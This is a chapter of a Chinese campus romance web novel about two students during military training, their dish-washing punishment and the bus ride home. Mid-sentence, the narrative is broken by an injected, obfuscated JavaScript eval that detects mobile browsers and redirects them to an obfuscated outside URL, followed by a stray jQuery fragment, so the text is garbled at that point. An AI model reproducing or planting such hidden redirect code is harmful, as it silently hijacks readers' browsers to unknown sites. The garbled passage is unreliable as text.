付澄这座冰山仍死死地屹立着。
他俯望着眼前脸颊柔白的少女，那双搭配着长翘睫毛的小鹿眼没了以往的疏离感，仿佛刻意将人往里头吸引，能让人一个慌神就深坠下去。
近在咫尺，他能端详到她立体的五官，牛奶肌肤白净透亮。他忽然想起，她好像从开学到现在都没化过妆，一直都是以素颜示人。
安霓眼眸微动，从他左眼移到右眼，看他那双眼眸里冷水化温，竟添了点暖色，但很快就消失了，可能是安霓的错觉。
太阳能全自动制冷机，名不虚传。
算了，不逗他了。
安霓朝他扯个微笑：“开个玩笑。”接着收回步伐，抬脚往外走。
下了台阶没走两步，侧眼就扫到远处一个教官正向这里走来，她下意识地抬腿往另一边跑，也不管那是什么地方，反正跑就对了。
她脚底用尽全力牵制这该死的不听话的拖鞋。
付澄跟下来，在她后面走着，看她这急匆匆又鬼鬼祟祟的模样，很不解。
忽然就顿在原地，还不知所谓。
他看见安霓弱不禁风一般的背影，她短裤下的细白小腿被阳光触碰显得莹白，底下的拖鞋在脱脚的边缘试探。
一身都写着不羁。
安静又颓靡，洒脱而遥不可及。
安霓跑远了才想起身后这个拖油瓶。
她回过头来，冲付澄招招手，压低了声线喊：“快跑啊你！”
付澄眉头一挤，回头看到教官低头的身影，还是一脸平静的无所谓。
他嘴角有浅浅的抽动，最后还是往安霓的方向跑去。
安霓一把手拉他过来，又小心翼翼探出头去。
一旁的付澄悄然愣了神，她的手又把他往里推，此刻的他像块木头任她摆布。
也不知怎的，这几天的纪律安霓都没怎么听，但却唯独记住了“午休时间所有学生不能随意走动，必须在宿舍休息”这一条。
可能是哪根连错的脑神经此刻回到正轨了吧。
她看着那位教官走进小卖部去，躲回来，缓缓叹了口气。
两个人躲在男生宿舍的楼道里。
付澄第一次看她这么紧张，平时她可是天不怕地不怕的，做什么都是不动声色。哪能想到还有能让她紧张害怕的东西。
安霓余光瞟到身边这个人在光明正大地偷窥自己，撇过头去。
他反应倒挺快，一秒正回视线，懒散的身躯挺拔起来，依旧两手插兜的姿势。
安霓无声地笑。
笑他，也笑自己的狼狈。
阴凉的楼道角里。
沉默半晌，付澄忽然开口。
“嘿。”
安霓靠着墙站，余光扫他一眼。
“干嘛。”
又顿了几秒，付澄声线难得升温：“他罚你了？”
安霓转头看他的侧脸，“谁？”
哦，白教官啊。她凝思片刻后无所谓地笑笑，“对啊，罚了。”
付澄攥在裤兜的手轻有微动，语调轻轻地：“没事吧。”
“啊，什么？”安霓假装听不见，故意的。
付澄也侧过头看她，眉尾扬起一抹肃意，安霓看他这表情就笑了，“当然没事，我这不是好好的嘛。”
付澄没再看她，只道：“怎么罚你？”
他说话的尾音总是掉着走，以至于说什么都让安霓觉得是陈述句。
安霓撇撇嘴，一脸正经：“一百个俯卧撑。”
付澄冷漠地看着她，一点惊讶没有。
傻子才信。
安霓还是满眼的虔诚，但是看他表情毫无变化，依旧的薄清面孔。
静默后。
安霓憋不住笑了：“洗碗啦。”
这两字一说完，付澄收了口气就转过身去。
“我回去了。”
“嘿。”安霓叫住他。
他停下步伐，没转身。
“防晒有没有涂？”安霓说完就想笑，只是憋住了。其实她知道他涂了，因为他那脸庞没有一丁点的暗黄也没有灰暗的瑕疵，依旧冷白又凛冽的一张脸。
如果没涂，只能是鬼了。
“涂了。”
如安霓所料，付澄扔一声就继续走向楼梯。
安霓望着他瘦高的背影，这才注意到他脚下的拖鞋。
这要是换别人穿这一身，准整得吊不郎当的。可偏偏是他穿了，整体气质都跟着提高一个档次。
安霓低头笑笑。
原来他这生人勿近的气场也不是不可破嘛。
*
军训四天耗完，第五天早上全体人在食堂吃完最后一顿早饭，几排校车停在外面等学生。
安霓因为被教官处罚，这一桌的碗连续几天都是她洗的，本以为这第五天不算在军训日期里了，哪知道吃完饭就被白教官叫住，他冲着她不怀好意地笑：“洗碗。”
安霓难得投降。
洗就洗，给别人洗我还不乐意。
这几天和那些碗筷打交道打得可好了。
这食堂宽敞得很，等人走了只剩下一大片空荡荡的桌，粗略估计该是至少有一百桌。
洗碗池的地方自然而然就不够了，有些人得站那等，看有人出来再进去。
等到最后，安霓终于轮上位置，一脸丧气地对手里的碗筷勺进行发泄。洗着洗着，手心开始生褶皱了，心烦到难受。
也不知过了多久，她只意识到周围的人越来越少。
到最后几乎只剩她一个人影，因为她洗得太慢了，弯着腰在那瞎弄，觉得难受得很，洗一洗就站直歇歇，可时间不会给她留有缝隙偷懒。
空荡的地方忽然响起不锈钢磕碰的声音，安霓转过头。
还有人在？
是他。
付澄正捧着盆子里的东西往门口走，他直接绕过了安霓，看都不看她一眼。
安霓直勾勾地看着他。
等他走到门口，安霓才开了口：“嘿！”
付澄在那定住步伐，像是没有转过身的意思，安霓的语气像泄了气的软气球：“不等我一下啊？”
付澄没回头，顿了一秒继续向前走。
安霓表情一下子冻僵，撇撇嘴后微白了个眼。
我错了。
不近人情哪能说改就改的？！
白白撒了个娇。
捧着这坨沉得要命的碗盘走出来，一个人影都没见着。
安霓认命地在桌上把碗摆放完好。
桌子刚好离门口不远，因为这地方是从一楼扩张下来的地下室，这里离门口就只有一个往上的阶梯距离。
往这望上去，刚好能看见门口左右。
安霓低头瞎忙活的时候，上面传下来一顿男生的打闹声。
成奕跑过来，喘着气：“澄哥！站这干嘛呢，叫你也不应……”
周正也一把揽过付澄的肩，一顿教导主任式的说教：“洗这么慢！碗洗干净没？可不能偷懒啊。”
成奕拉着他说：“洗干净了还愣着干嘛！走啊，快要上车了都。”
付澄没抬眼看他俩，镇定道：“等人。”
安霓手里的动作一停，刚好抬起头，零零碎碎可以听到他们的声音，但听不清具体。不过她看到了他们三个人影，准确地猜到什么。
她低下眼，嘴角在偷笑。
传说中的口嫌体正直？
成奕皱眉，迷茫道：“等谁？这不是都没人了。”
“那是……”周正也眼神往远处一投，半眯着眼，似乎是确认了是谁：“安、安霓？”
安霓早已转过身，跨上台阶。
付澄余光看到她走上来的身影，没再停留，二话不说地径直往前走，扔下成奕和周正也。
成奕回过神来，跟上去喊：“诶，等等啊！”
周正也滞留在原地，再转眼时，安霓已来到他眼前，他有片刻的愣神。
“安霓，你……”
安霓留给他一个平淡的眼神，平淡却没了以往的冰，她冷漠地从他身前走过。
姚婷拖着两个行李箱看到了安霓的身影，边喊名字边向她招手。
“怎么这么久啊？快，可以上车了。”
说完
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15372815|168199||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她把发放回来的手机递给安霓，笑嘻嘻地亲了下自己的手机：“我可怜的手机啊！终于回到妈妈手里了。”
一路上风平浪静。
部分同学在车上耍闹，打游戏的打游戏，休息的休息。
安霓手机刚开机，消息像放烟花似的飙个不停。
打开微信，最先看到李暖发来的消息，军训第一天几句操心话，还有昨天下午的问话。
李暖：【晚上回来还是明天？】
安霓当即回复：【现在，车上】
她继续往下拉，手指停在一个框框上。
有几秒的停顿，点进去。
妈：【小霓，怎么军训了也不跟妈说一声？】
妈：【记得要多吃饭】
妈：【收到消息记得回我】
妈：【快回来了吧，我国庆之前会回国，到时候接你哥和你下来，我们国庆就定在英国旅游。我在伦敦刚好有个会议，你李叔叔也赶巧在那边出差，就差我们几个人了】
妈：【上次暑假办的签证还没过期吧？】
妈：【回来的时候记得回消息】
数条消息分别从不同时间段发来，安霓漫不经心地随意瞟几眼，手机屏幕暗掉，她脸色也跟着暗沉下去。
思绪翻滚后停息。
不打算回复。
她抬眼望着窗外，开大了玻璃窗，热风肆无忌惮地往里灌，曳起她墨色的发。
难得姚婷没有睡觉，四天下来的她没被击溃反而在结束后精神饱满，可能是因为这几天防晒效果显著，也可能是因为军训完就要放国庆七天假，她兴奋到不能自已。
正想着和安霓商量着国庆要去哪里哈皮。
“国庆我回家也是无聊，不如我们去上海迪士尼？暑假我就想去了，刚开业那时候可火爆了，但是国庆假期，票可能会涨价诶……老天呐。”
她自顾自地说，说完瘫了下去，余光瞥见安霓的黯淡神色，和刚才上车时漫不经心的表情明显不同，看着就像是心事重重。
姚婷抬起头，安霓这一脸愁容让她也跟着愁。
她小心试探：“安霓，你怎么了呀？”
安霓低眼，用一种平时对于自己来说很正常的语气回：“没啊。”
安霓自以为很会藏心事，只是没考虑到会有失算的时候。
“那你听到我的话了吗……”姚婷迟疑一下，她又好像没事了。
“听到了。”安霓始终没转过头来，继续望着窗外，她说完顿了片刻，“我去不了，家里有事。”
姚婷皱眉疑惑，下意识想问她什么事，但还是把话打住憋了回去。
安霓从来不会跟别人说她的事，即使是她的同桌。但姚婷又想，也许是因为两个人认识时间不长。
“没事没事，那下次好了！我再把钱攒攒。”姚婷假装什么都不知道，笑了笑说。
付澄坐在最后一排，这里处于最上方，看下去能看到前面所有人的背影。
安霓的位置和他隔了一排，他低眼就能瞧见她的背影。
“澄哥，发什么呆你……手机拿出来吃鸡啊！”
成奕发现了他，凑近过来想唬他一下，结果付澄没反应。
周正也从手机屏幕中抬头，瞥了他一眼，“喂，你刚才在那等安霓？”
成奕笑了：“不然呢，等鬼吗？”
“滚，没跟你讲话！”周正也瞪他一眼，闷着气，手指肆意操作着。
成奕忽然炸了，怒吼着骂道：“操！掩护我啊！他吗的没看到草丛里有个人啊，害死你爸爸了，蠢儿子！”
“傻逼！自己没长眼睛怪你爷爷，多吃点子弹去！”
坐窗边的付澄还是没说话，嫌旁边这两人烦。
手机忽然噔了一声。
一条微信。
爸：【军训结束了吧，我们应该晚上就能到，不用留饭】
付澄不带表情回他：【知道了】
付澄神色暗冷。他回完消息，余光在安霓的背影处一定，侧过眼静默地看着窗外。
安霓下车后，直截了当地回了条微信给她妈妈：【我不出国】